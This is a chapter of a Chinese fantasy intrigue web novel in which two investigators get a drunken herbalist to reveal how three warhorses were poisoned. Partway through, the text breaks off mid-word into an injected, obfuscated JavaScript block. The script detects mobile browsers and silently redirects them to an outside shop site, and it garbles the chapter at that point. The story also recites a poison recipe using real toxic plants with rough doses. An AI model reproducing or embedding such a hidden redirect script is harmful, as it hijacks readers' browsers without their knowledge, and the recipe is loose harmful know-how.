乔师微回去后,平复好心情把今天发生的所有事走马灯般过了一遍。
“投名状”的事已经搞定,她们的行动限制也宽了很多,终于有精力去处理战马的悬念了。
不过这事也不能直接向冯禄开口。
冯老爷那么聪明一个人……万一往苦肉计那边想,今天下午的演戏就白费了。
得想个突破口。
突破口……
等等,有了。
冯禄那本笔记。
师父留下的地脉笔记。
守真散人就是从那本笔记里研究出地脉和青阳之体的关联的,说明那里面涉及的内容,对他们很有帮助。
她需要一个理由去碰那本笔记。
而最好的理由,无过于血月之夜的发言。
她是国师门徒,要替冯家发表“天命所归”的演讲,提前做点功课、参考一下师父留下的笔记,这个理由天衣无缝。
趁着天色未晚,她出发了。
*
冯禄的书房在冯府中轴线最深处。
乔师微被引进门时,混元子早就走了,冯禄正坐在案后玩一把没装弹的火铳,见她进来,又将火铳搁回架上。
“乔真人主动来找冯某,说吧,有什么事?”
乔师微忍着“真人”两个字的恶心,开门见山:
“冯老爷,血月那天的发言,我需要做些准备。天象、地脉、命格这些事关重大,不能信口开河。我听说我师父前些日子巡视时留下了一本地脉笔记,想借来参考参考。”
冯禄的笑容淡了一瞬。
“……乔真人消息灵通。不过那本笔记是守真散人从城主那儿借的,乔大人要借,该去找他才对。”
“守真散人是冯老爷的人,这笔记用完了,也自然在您这里。冯老爷若是信不过我,那血月上的发言我就只能临场发挥了。在下初出茅庐,经验欠缺,若是说得不好,毁的是冯老爷的大业。”
“真人不愧是国师门徒,连讨价还价都这么理直气壮。笔记可以给你,不过只限在冯府看,不抄录不外传……毕竟是你师父的手笔,该尊重她的意思。”
“这是自然。”
冯禄起身从身后架子上取下一只木匣,打开看,里面是本约两寸厚的册子,封面素白,边角磨得起了毛,内页泛着陈年黄褐。
――原件。
翻开第一页,熟悉的字迹,清劲挺拔,一笔不苟,但内页泛黄的程度比她印象中更旧。
……至少是师父十年前的旧物。
她压下翻涌的情绪,迫使自己把注意力集中在纸面上,翻到后半部分,手指突然顿住了。
“西南黔州,巫族灵力稀薄,借地脉之力操控幻阵……这页的案例是西南的?离北安也太远了。”
冯禄凑过来看了一眼,显然对这页笔记没有太多关注:
“这个啊,守真也问过同样的话。国师说地脉的道理大同小异,西南的案例对东北也有参考价值。”
“……多谢冯老爷。发言稿我会认真准备,不负所托。”
*
乔师微回到东苑,已是酉时,她的那份晚饭都凉了。
她匆匆用过,紧接着进东厢房摇醒打盹的孟萌。后者揉着眼睛被她拽起来,路上才弄明白此行的目标。
两人走到混元子居住的偏院,院门紧闭。
孟萌敲了三遍,里面才传来句不耐烦的应声:
“谁?”
“司天监乔师微、孟萌,求见混元子前辈。”
门开了一道缝,混元子那张精瘦的脸从门缝里露出来,眉头拧成一团。
乔师微往前迈了半步刚要开口,混元子就把门缝往回推了些:
“二位大人有何贵干?贫道正在打坐,不便待客。”
“向道长请教一些学问。”
“不敢当。二位是冯老爷的座上宾,贫道不过是跟着冯老爷混口饭吃的方士,哪有什么学问可请教的。”
孟萌忍不住插嘴:
“我们手上还有国师的笔记,跟你交换——”
“不必。既然是东尧国师的笔记,贫道更不敢看了。二位请回吧。”
门利落地锁上了。
两人在紧闭的门板前站了片刻,孟萌吐槽了句:
“这人有病啊?冯家那劳什子真人,谁爱当谁当去,还以为我稀罕吗?”
乔师微没说话,捧着木匣转身往外走。
混元子这关碰了钉子,剩余的选择只有一个了。
*
乔师微这次深思熟虑,让孟萌回去叫许家三兄弟,顺便找冯府下人要了坛美酒。
就之前在宴席上的见闻,妙真子好色,而好色之人,大抵也好酒。
这次就不信还能吃闭门羹。
两人敲敲,妙真子开了门。
她没戴道冠,青丝松挽,斜倚在门框上把二人打量了一番,眼神里带着不加掩饰的探寻,似是没想到她们这时登门拜访:
“司天监的两位大人……这个点了,有什么事吗?”
乔师微眼神示意,孟萌福至心灵,提起手中的酒坛晃了晃:
“妙真子前辈好,晚辈今晚无事,带了美酒美人来孝敬您。”
妙真子愣了愣,眼神左右飘忽了阵,不知心思经历了怎样的历程,最终还是松了口:
“……这酒可不便宜,若是孝敬,那便不挡客了。请进。”
这倒是比乔师微预想的轻松。
她的第一步猜想对了。剩下的,心里也有了底。
妙真子确确实实拿了三个比头还大的海碗,乔师微倒吸口凉气,孟萌却眼里放光抢着斟酒,嘴里一边念叨“前辈请用”,手上给添了满满三大碗。
乔师微坐在旁边牙疼。她不爱喝酒,只浅尝了一口,便借着“不胜酒力”的由头搁了碗,转而观察妙真子。
这女子三十出头,长相倒是不错,只是透着股……往好听点说叫不羁
看上去不像潜心修道的。
但也不至于全无本事。
几碗酒下去,妙真子脸上的警觉松了,话也多了起来,开始抱怨混元子目中无人,守真散人优柔寡断,冯老爷近来对她不够重视……
“说句心里话……你们科班出身也没甚了不起。我走野路子走到今天,靠的是实打实的本事。你们一来就得了个‘真人’的位份,比我们七个都高……凭什么?”
乔师微没有接这个话茬。
孟萌给妙真子又斟满一碗。
乔师微趁她仰头喝酒,把手上的笔记往她那边推了推,起了个新话题:
“前辈,这冯老爷‘大业’的具体内容,我初来乍到,还不甚了解……望前辈指点一二。若能指点迷津,晚辈愿将国师关于地脉论述的手稿给您阅览。”
乔疏影的学术名声在外,妙真子这样的自然跃跃欲试,这次终于认真对上了乔师微的眼:
“说。”
“我听闻前些日子,北境军三匹战马暴毙,浑身无伤……可是失心散的效果?”
妙真子端起碗的手在空中顿了极短的一瞬,然后继续喝,但动作比之前慢了。
她放下碗,语气随意得有些刻意:
“乔大人对灵兽的药理……也有涉猎?”
“略知皮
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17835152|208817||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
毛。三匹战马年富力强,浑身无伤,同时暴毙。寻常失心散对灵兽有效,但需要逐匹下药,剂量不好控制。能做到三匹同时发作、事后毫无残留的,东尧典籍没有类似记载。”
妙真子嗤笑一声:
“东尧的书里也不是什么都有……你说的那种失心散,确实不是北安城本地的方子。是西永传过来的。”
乔师微心里一紧。
“……西永的方子,前辈也能弄到?”
“那得多亏冯老爷的路子。国师的笔记在这里确实不够用,这方子是从西永一个叫‘暗城’的组织流出来的……”
妙真子说到这里忽然停住,像是意识到自己说多了,似笑非笑地看着乔师微:
“……乔大人问这些,是想自己配一剂?”
“那倒不是。只是好奇,我手上这本笔记里也有几个古方,和前辈的方子对比着看看,或许能互相印证。”
这话挠到了妙真子的痒处。
乔师微看得出来,妙真子这人最大的弱点,是虚荣心。
国师的门徒主动来“请教”她,这份虚荣她招架不住。
人活一口气,为的就是爬到更高的位置,睥睨众人。
也难怪她对三人位列“真人”的事如此计较。
“你想看方子?”
妙真子靠在椅背上,手指在桌面上轻轻敲了敲,目光却越过两人,落在房间角落里安静跪坐的三个少年身上。
“光是嘴上请教,诚意怕是不够。”
乔师微顺着她的目光看过去。
许清霜和许清露正乖乖把干果碟子收走,露出底下的牌桌。
她懂了。
“孟萌,给前辈露一手。”
孟萌一愣,随即会意,把椅子往后一推,站起来朝妙真子笑得灿烂:
“前辈,光喝酒多没意思,玩几局如何?输了贴条,赢了喝一杯。我出门在外没啥能孝敬的,就这一身打牌的功夫是跟我爹练的,前辈肯不肯赏个脸?”
接下来发生的事情不需要细述。
孟萌和两个小少年围坐在矮桌边,木牌噼里啪啦地响,孟萌输得脸上贴满纸条,妙真子被逗得前仰后合,两个小少年也难得露出了笑容。
乔师微坐在妙真子旁边,陪着她又喝了两碗,看她醉意渐浓。
时候差不多了。
乔师微把腾出桌面,从袖中取出纸笔铺在桌上。
妙真子已经烂醉如泥,懒得再推拒,她眯着眼看乔师微磨墨,忽然开口,吐字异常清晰,像是背书一般:
“血藤一钱,断肠草三分,乌头二分,曼陀罗花五分。血藤用酒炒,断肠草阴干,乌头去皮,曼陀罗花取子。研末,过筛三遍。溶于酒,无色无味。灵兽服后气血逆行,心脉断裂,死后浑身无伤。”
乔师微笔走如飞,将最后几个字记完。她把方子从头到尾扫了一遍,然后抬起头,对上妙真子半醉的眼睛。
“前辈,这方子有个漏洞。”
“……什么?”
“酒。灵兽不会自己喝酒。药末能溶于酒,但要把酒灌进三匹战马的喉咙里,不是一个人能干的事。战马暴毙当晚,冯府马厩是谁值守?”
妙真子盯着她看了很久,醉意还在她眼睛里,但眼底深处的某样东西正在迅速变冷。
“乔大人,你比我想象中聪明。不过这件事,贫道只是配了药。怎么下的、谁下的,你去问冯老爷。我只负责做药,不负责手。”
她站起来,理了理衣襟,把空碗放到桌上,摇摇晃晃地往内室走去。
“药方给你,笔记等明日我看完再说。贫道困了,送客。”